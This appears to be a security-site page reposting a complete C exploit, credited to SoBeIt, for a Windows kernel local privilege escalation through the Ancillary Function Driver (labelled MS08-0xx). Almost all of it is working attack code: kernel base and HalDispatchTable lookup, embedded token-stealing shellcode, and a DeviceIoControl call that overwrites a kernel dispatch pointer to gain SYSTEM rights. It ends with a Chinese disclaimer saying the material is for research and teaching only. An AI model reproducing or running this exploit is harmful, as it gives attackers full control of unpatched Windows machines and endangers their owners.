作者:SoBeIt
#include <stdio.h> #include <winsock2.h> #include <windows.h> #pragma comment(lib, "ws2_32.lib") #define NTSTATUS int typedef struct _PROCESS_BASIC_INFORMATION { NTSTATUS ExitStatus; PVOID PebBaseAddress; ULONG AffinityMask; ULONG BasePriority; ULONG UniqueProcessId; ULONG InheritedFromUniqueProcessId; } PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION; typedef struct _IMAGE_FIXUP_ENTRY { USHORT Offset:12; USHORT Type:4; } IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY; typedef enum _PROCESS_IMFORMATION_CLASS { ProcessBasicInformation, ProcessQuotaLimits, ProcessIoCounters, ProcessVmCounters, ProcessTimes, ProcessBasePriority, ProcessRaisePriority, ProcessDebugPort, ProcessExceptionPort, ProcessAccessToken, ProcessLdtInformation, ProcessLdtSize, ProcessDeaultHardErrorMode, ProcessIoPortHandlers, ProcessPooledUsageAndLimits, ProcessWorkingSetWatch, ProcessUserModeIOPL, ProcessEnableAlignmentFaultFixup, ProcessPriorityClass, ProcessWx86Information, ProcessHandleCount, ProcessAffinityMask, ProcessPriorityBoost, ProcessDeviceMap, ProcessSessionInformation, ProcessForegroundInformation, ProcessWow64Information } PROCESS_INFORMATION_CLASS; typedef enum _SYSTEM_INFORMATION_CLASS { SystemBasicInformation, SystemProcessorInformation, SystemPerformanceInformation, SystemTimeOfDayInformation, SystemNotImplemented1, SystemProcessesAndThreadsInformation, SystemCallCounts, SystemConfigurationInformation, SystemProcessorTimes, SystemGlobalFlag, SystemNotImplemented2, SystemModuleInformation, SystemLockInformation, SystemNotImplemented3, SystemNotImplemented4, SystemNotImplemented5, SystemHandleInformation, SystemObjectInformation, SystemPagefileInformation, SystemInstructioEmulationCounts, SystemInvalidInfoClass1, SystemCacheInformation, SystemPoolTagInformation, SystemProcessorStatistics, SystemDpcInformation, SystemNotImplemented6, SystemLoadImage, SystemUnloadImage, SystemTimeAdjustment, SystemNotImplemented7, SystemNotImplemented8, SystemNotImplemented9, SystemCrashDumpInformation, SystemExceptionInformation, SystemCrashDumpStateInformation, SystemKernelDebuggerInformation, SystemContextSwitchInformation, SystemRegisterQuotaInformation, SystemLoadAndCallImage, SystemPrioritySeparation } SYSTEM_INFORMATION_CLASS; typedef enum _KPROFILE_SOURCE { ProfileTime, ProfileAlignmentFixup, ProfileTotalIssues, ProfilePipelineDry, ProfileLoadInstructions, ProfilePipelineFrozen, ProfileBranchInstructions, ProfileTotalNonissues, ProfileDcacheMisses, ProfileIcacheMisses, ProfileCacheMisses, ProfileBranchMispredictions, ProfileStoreInstructions, ProfileFpInstructions, ProfileIntegerInstructions, Profile2Issue, Profile3Issue, Profile4Issue, ProfileSpecialInstructions, ProfileTotalCycles, ProfileIcacheIssues, ProfileDcacheAccesses, ProfileMemoryBarrierCycles, ProfileLoadLinkedIssues, ProfileMaximum } KPROFILE_SOURCE, *PKPROFILE_SOURCE; typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; typedef struct _SECTION_BASIC_INFORMATION { PVOID BaseAddress; ULONG Attributes; LARGE_INTEGER Size; }SECTION_BASIC_INFORMATION, *PSECTION_BASIC_INFORMATION; typedef struct _SYSTEM_MODULE_INFORMATION { ULONG Reserved[2]; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; USHORT Unknown; USHORT LoadCount; USHORT ModuleNameOffset; CHAR ImageName[256]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; typedef NTSTATUS (NTAPI *ZWQUERYINTERNALPROFILE)(ULONG, PULONG); typedef NTSTATUS (NTAPI *ZWQUERYINFORMATIONPROCESS)(HANDLE, ULONG, PVOID, ULONG, PULONG); typedef NTSTATUS (NTAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG); typedef NTSTATUS (NTAPI *ZWALLOCATEVIRTUALMEMORY)(HANDLE, PVOID *, ULONG, PULONG, ULONG, ULONG); typedef PIMAGE_NT_HEADERS (NTAPI *RTLIMAGENTHEADER)(PVOID); typedef PVOID (NTAPI *RTLIMAGEDIRECTORYENTRYTODATA)(PVOID, ULONG, USHORT, PULONG); ZWQUERYINTERNALPROFILE ZwQueryIntervalProfile; ZWQUERYINFORMATIONPROCESS ZwQueryInformationProcess; ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation; ZWALLOCATEVIRTUALMEMORY ZwAllocateVirtualMemory; RTLIMAGENTHEADER RtlImageNtHeader; RTLIMAGEDIRECTORYENTRYTODATA RtlImageDirectoryEntryToData; unsigned char kfunctions[64][64] = { //ntoskrnl.exe {"ZwTerminateProcess"}, {"PsLookupProcessByProcessId"}, {""}, }; unsigned char shellcode[] = "/x90/x60/x9c/xe9/xc4/x00/x00/x00/x5f/x4f/x47/x66/x81/x3f/x90/xcc" "/x75/xf8/x66/x81/x7f/x02/xcc/x90/x75/xf0/x83/xc7/x04/x64/x8b/x35" "/x38/x00/x00/x00/xad/xad/x48/x81/x38/x4d/x5a/x90/x00/x75/xf7/x95" "/x8b/xf7/x6a/x02/x59/xe8/x4d/x00/x00/x00/xe2/xf9/x8b/x4e/x0c/xe8" "/x29/x00/x00/x00/x50/x8b/x4e/x08/xe8/x20/x00/x00/x00/x5a/x8b/x7e" "/x1c/x8b/x0c/x3a/x89/x0c/x38/x56/x8b/x7e/x14/x8b/x4e/x18/x8b/x76" "/x10/xf3/xa4/x5e/x33/xc0/x50/x50/xff/x16/x9d/x61/xc3/x83/xec/x04" "/x8d/x2c/x24/x55/x51/xff/x56/x04/x85/xc0/x0f/x85/x80/x8f/x00/x00" "/x8b/x45/x00/x83/xc4/x04/xc3/x51/x56/x8b/x75/x3c/x8b/x74/x2e/x78" "/x03/xf5/x56/x8b/x76/x20/x03/xf5/x33/xc9/x49/x41/xad/x03/xc5/x33" "/xdb/x0f/xbe/x10/x85/xd2/x74/x08/xc1/xcb/x07/x03/xda/x40/xeb/xf1" "/x3b/x1f/x75/xe7/x5e/x8b/x5e/x24/x03/xdd/x66/x8b/x0c/x4b/x8b/x5e" "/x1c/x03/xdd/x8b/x04/x8b/x03/xc5/xab/x5e/x59/xc3/xe8/x37/xff/xff" "/xff/x90/x90/x90" "/x90/xcc/xcc/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90" "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90" "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/xcc/x90/x90/xcc"; void ErrorQuit(pMsg) { printf("%sError Code:%d/n", pMsg, GetLastError()); ExitProcess(0); } ULONG ComputeHash(char *ch) { ULONG ret = 0; while(*ch) { ret = ((ret << 25) | (ret >> 7)) + *ch++; } return ret; } void GetFunction() { HANDLE hNtdll; hNtdll = LoadLibrary("ntdll.dll"); if(hNtdll == NULL) ErrorQuit("LoadLibrary failed./n"); ZwQueryIntervalProfile = (ZWQUERYINTERNALPROFILE)GetProcAddress(hNtdll, "ZwQueryIntervalProfile"); if(ZwQueryIntervalProfile == NULL) ErrorQuit("GetProcAddress failed./n"); ZwQueryInformationProcess = (ZWQUERYINFORMATIONPROCESS)GetProcAddress(hNtdll, "ZwQueryInformationProcess"); if(ZwQueryInformationProcess == NULL) ErrorQuit("GetProcAddress failed./n"); ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)GetProcAddress(hNtdll, "ZwQuerySystemInformation"); if(ZwQuerySystemInformation == NULL) ErrorQuit("GetProcessAddress failed./n"); ZwAllocateVirtualMemory = (ZWALLOCATEVIRTUALMEMORY)GetProcAddress(hNtdll, "ZwAllocateVirtualMemory"); if(ZwAllocateVirtualMemory == NULL) ErrorQuit("GetProcAddress failed./n"); RtlImageNtHeader = (RTLIMAGENTHEADER)GetProcAddress(hNtdll, "RtlImageNtHeader"); if(RtlImageNtHeader == NULL) ErrorQuit("GetProcAddress failed./n"); RtlImageDirectoryEntryToData = (RTLIMAGEDIRECTORYENTRYTODATA)GetProcAddress(hNtdll, "RtlImageDirectoryEntryToData"); if(RtlImageDirectoryEntryToData == NULL) ErrorQuit("GetProcAddress failed./n"); FreeLibrary(hNtdll); } ULONG GetKernelBase(char *KernelName) { ULONG i, Byte, ModuleCount, KernelBase; PVOID pBuffer; PSYSTEM_MODULE_INFORMATION pSystemModuleInformation; PCHAR pName; ZwQuerySystemInformation(SystemModuleInformation, (PVOID)&Byte, 0, &Byte); if((pBuffer = malloc(Byte)) == NULL) ErrorQuit("malloc failed./n"); if(ZwQuerySystemInformation(SystemModuleInformation, pBuffer, Byte, &Byte)) ErrorQuit("ZwQuerySystemInformation failed/n"); ModuleCount = *(PULONG)pBuffer; pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)((PUCHAR)pBuffer + sizeof(ULONG)); for(i = 0; i < ModuleCount; i++) { if((pName = strstr(pSystemModuleInformation->ImageName, "ntoskrnl.exe")) != NULL) { KernelBase = (ULONG)pSystemModuleInformation->Base; printf("Kernel is %s/n", pSystemModuleInformation->ImageName); free(pBuffer); strcpy(KernelName, "ntoskrnl.exe"); return KernelBase; } if((pName = strstr(pSystemModuleInformation->ImageName, "ntkrnlpa.exe")) != NULL) { KernelBase = (ULONG)pSystemModuleInformation->Base; printf("Kernel is %s/n", pSystemModuleInformation->ImageName); free(pBuffer); strcpy(KernelName, "ntkrnlpa.exe"); return KernelBase; } pSystemModuleInformation++; } free(pBuffer); return 0; } ULONG GetServiceTable(PVOID pImageBase, ULONG Address) { PIMAGE_NT_HEADERS pNtHeaders; PIMAGE_BASE_RELOCATION pBaseRelocation; PIMAGE_FIXUP_ENTRY pFixupEntry; ULONG RelocationTableSize = 0; ULONG Offset, i, VirtualAddress, Rva; Offset = Address - (ULONG)pImageBase; pNtHeaders = (PIMAGE_NT_HEADERS)RtlImageNtHeader(pImageBase); pBaseRelocation = (PIMAGE_BASE_RELOCATION)RtlImageDirectoryEntryToData(pImageBase, TRUE, IMAGE_DIRECTORY_ENTRY_BASERELOC, &RelocationTableSize); if(pBaseRelocation == NULL) return 0; do { pFixupEntry = (PIMAGE_FIXUP_ENTRY)((ULONG)pBaseRelocation + sizeof(IMAGE_BASE_RELOCATION)); RelocationTableSize = (pBaseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) >> 1; for(i = 0; i < RelocationTableSize; i++, pFixupEntry++) { if(pFixupEntry->Type == IMAGE_REL_BASED_HIGHLOW) { VirtualAddress = pBaseRelocation->VirtualAddress + pFixupEntry->Offset; Rva = *(PULONG)((ULONG)pImageBase + VirtualAddress) - (ULONG)pNtHeaders->OptionalHeader.ImageBase; if(Rva == Offset) { if (*(PUSHORT)((ULONG)pImageBase + VirtualAddress - 2) == 0x05c7) return *(PULONG)((ULONG)pImageBase + VirtualAddress + 4) - pNtHeaders->OptionalHeader.ImageBase; } } } *(PULONG)&pBaseRelocation += pBaseRelocation->SizeOfBlock; } while(pBaseRelocation->VirtualAddress); return 0; } int main(int argc, char* argv[]) { PVOID pDrivers[256]; PVOID pOldKernelInfo, pMapAddress = NULL; PULONG pStoreBuffer, pShellcode, pFakeKernelInfo; PUCHAR pRestoreBuffer, pBase, FunctionAddress; PROCESS_BASIC_INFORMATION pbi; SYSTEM_MODULE_INFORMATION smi; SECTION_BASIC_INFORMATION sbi; KPROFILE_SOURCE ProfileSource; OSVERSIONINFO ovi; char DriverName[256], KernelName[64]; ULONG Byte, len, i, j, k, BaseAddress, Value, KernelBase, buf[64]; ULONG HookAddress, SystemId, TokenOffset, Sections, Pid, FunctionNumber; ULONG HDTOffset, AllocationSize; ULONG Result; HANDLE hKernel; WSADATA wsad; int sockfd; struct sockaddr_in saddr; printf("/n MS08-0xx Windows Kernel Ancillary Function Driver Local Privilege Escalation Vulnerability Exploit /n/n"); printf("/t Create by SoBeIt. /n/n"); if(argc != 1) { printf(" Usage:%s/n/n", argv[0]); return 1; } pFakeKernelInfo = (PULONG)malloc(256); GetFunction(); if(ZwQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) ErrorQuit("ZwQueryInformationProcess failed/n"); KernelBase = GetKernelBase(KernelName); if(!KernelBase) ErrorQuit("Unable to get kernel base address./n"); printf("Kernel base address: %x/n", KernelBase); ovi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); if(!GetVersionEx(&ovi)) ErrorQuit("GetVersionEx failed./n"); if(ovi.dwMajorVersion != 5 && ovi.dwMajorVersion != 6) ErrorQuit("Not Windows NT family OS./n"); printf("Major Version:%d Minor Version:%d/n", ovi.dwMajorVersion, ovi.dwMinorVersion); switch(ovi.dwMinorVersion) { case 0: //Windows2000 SystemId = 8; TokenOffset = 0x12c; break; case 1: //WindowsXP SystemId = 4; TokenOffset = 0xc8; break; case 2: //Windows2003 SystemId = 4; TokenOffset = 0xd8; break; default: SystemId = 4; TokenOffset = 0xc8; } hKernel = LoadLibrary(KernelName); if(hKernel == NULL) ErrorQuit("LoadLibrary failed./n"); printf("Load Base:%x/n", (ULONG)hKernel); HDTOffset = (ULONG)GetProcAddress(hKernel, "HalDispatchTable"); HDTOffset += KernelBase - (ULONG)hKernel; printf("HalDispatchTable Offset:%x/n", HDTOffset); HookAddress = (ULONG)(HDTOffset + 4); printf("NtQueryIntervalProfile function entry address:%x/n", HookAddress); AllocationSize = 0x1000; pStoreBuffer = (PULONG)0x7fb0; if(ZwAllocateVirtualMemory((HANDLE)0xffffffff, &pStoreBuffer, 0, &AllocationSize, MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE)) ErrorQuit("ZwAllocateVirtualMemory failed./n"); pRestoreBuffer = malloc(0x100); memset(pStoreBuffer, 0x90, AllocationSize); pShellcode = (PULONG)shellcode; for(k = 0; pShellcode[k++] != 0x90cccc90; ) ; for(j = 0; kfunctions[j][0] != '/x0'; j++) buf[j] = ComputeHash(kfunctions[j]); buf[j++] = pbi.InheritedFromUniqueProcessId; buf[j++] = SystemId; buf[j++] = (ULONG)pRestoreBuffer; buf[j++] = HookAddress; buf[j++] = 0x04; buf[j++] = TokenOffset; memcpy((char *)(pShellcode + k), (char *)buf, j * 4); memcpy((PUCHAR)0x8000, shellcode, sizeof(shellcode) - 1); if(WSAStartup(MAKEWORD(2, 2), &wsad) != 0) ErrorQuit("WSAStartup failed./n"); if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) ErrorQuit("socket failed./n"); saddr.sin_family = AF_INET; saddr.sin_port = htons(0x1bd); saddr.sin_addr.s_addr = 0x100007f; if(connect(sockfd, (struct sockaddr *)&saddr, sizeof(struct sockaddr))) ErrorQuit("connect failed./n"); DeviceIoControl((HANDLE)sockfd, 0x1203F, NULL, 0, (PVOID)(HookAddress - 3), 0, &Result, NULL); ProfileSource = ProfileTotalIssues; ZwQueryIntervalProfile(ProfileSource, &Result); printf("Exploit finished./n"); return 1; }
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论